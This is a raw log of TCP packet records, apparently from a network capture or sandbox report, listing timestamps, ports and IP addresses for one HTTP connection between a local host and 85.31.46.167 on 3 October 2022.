Oct 3, 2022 17:30:17.261476040 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.261931896 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.261974096 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.262003899 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.262006044 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.262020111 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.262039900 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.262048006 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.262073040 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.262079000 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.262104034 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.262119055 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.262135029 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.262157917 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.262176037 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.288716078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.288773060 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.288804054 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.288834095 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.288839102 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.288840055 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.288866043 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.288904905 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.288904905 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.288904905 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.289012909 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.289047956 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.289067984 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.289081097 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.289083958 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.289113045 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.289124012 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.289144993 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.289175987 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.289205074 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.289220095 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.289220095 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.289220095 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.289238930 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.289248943 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.289271116 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.289288044 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.289304018 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.289315939 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.289336920 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.289345980 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.289371967 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.289402008 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.289403915 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.289414883 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.289437056 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.289449930 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.289468050 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.289479017 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.289513111 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.316153049 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.316209078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.316318989 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.316606045 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.316646099 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.316674948 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.316706896 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.316706896 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.316725969 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.316739082 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.316739082 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.316771030 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.316777945 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.316790104 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.316803932 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.316814899 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.316836119 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.316857100 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.316869974 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.316883087 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.316903114 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.316922903 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.316934109 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.316946983 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.316966057 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.316982985 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.316994905 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317008972 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317023039 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317048073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317070007 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317070007 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317080975 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317086935 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317111969 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317131996 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317143917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317148924 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317173958 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317189932 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317205906 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317220926 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317236900 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317249060 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317267895 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317298889 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317306995 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317306995 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317327976 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317346096 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317361116 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317368031 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317394018 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317399979 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317425966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317434072 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317456007 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317464113 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317486048 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317492962 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317518950 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317523956 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317548990 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317575932 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317579985 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317591906 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317610025 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317641020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317670107 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317698956 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317702055 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317702055 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317703009 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317703009 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317728996 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317760944 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.317761898 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317761898 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.317806959 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.343620062 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.343663931 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.343705893 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.343735933 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.343858004 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.343858004 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.344851017 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.344897985 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.344937086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.344964981 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.344988108 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345010996 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345017910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345036030 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345072985 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345096111 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345096111 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345096111 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345099926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345096111 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345132113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345163107 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345192909 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345197916 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345197916 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345197916 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345221996 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345242023 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345247030 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345277071 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345304966 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345309973 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345331907 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345352888 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345391989 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345412016 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345412016 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345423937 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345443964 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345455885 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345469952 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345487118 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345508099 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345508099 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345523119 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345541954 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345555067 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345586061 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345593929 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345618963 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345622063 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345653057 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345674038 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345674038 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345685005 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345710993 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345716953 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345748901 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345755100 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345779896 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345798016 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345810890 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345823050 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345844030 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345875025 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345897913 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345897913 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345905066 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345932961 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345937014 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345968008 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.345983028 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345983028 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.345999002 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346018076 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346031904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346051931 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346062899 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346095085 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346095085 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346095085 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346131086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346143961 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346143961 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346162081 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346193075 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346223116 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346225023 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346252918 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346256018 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346285105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346286058 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346307993 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346316099 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346338987 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346349955 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346371889 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346381903 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346405983 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346415043 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346431971 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346446991 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346479893 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346481085 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346507072 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346509933 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346530914 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346541882 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346573114 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346577883 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346600056 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346620083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346647978 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346647978 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346673012 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346681118 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346697092 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346709967 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346740007 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346743107 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346764088 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346769094 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346798897 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346812010 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346812010 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346826077 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346847057 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346858025 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346900940 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346915007 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346915007 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.346921921 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346957922 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346985102 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.346988916 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.347011089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.347040892 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.347052097 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.347052097 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.347067118 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.347084999 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.347099066 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.347111940 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.347132921 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.347146034 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.347146034 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.347162962 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.347181082 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.347193003 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.347222090 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.347223997 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.347246885 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.347276926 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.365891933 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.366364002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.371433020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.371491909 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.371521950 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.371550083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.371577978 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.371608019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.371618032 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.371660948 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.371660948 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.374207973 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374263048 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374294996 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374320984 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.374325037 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374351025 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.374358892 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374380112 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.374391079 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374422073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374448061 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.374450922 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374483109 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374505043 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.374517918 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374548912 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374550104 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.374572039 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.374583006 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374614000 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374644041 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374665976 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.374665976 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.374666929 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.374675035 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374706030 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374725103 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.374725103 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.374737978 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374748945 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.374769926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374802113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374811888 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.374834061 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.374835014 CEST	80	49694	85.31.46.167	192.168.2.5
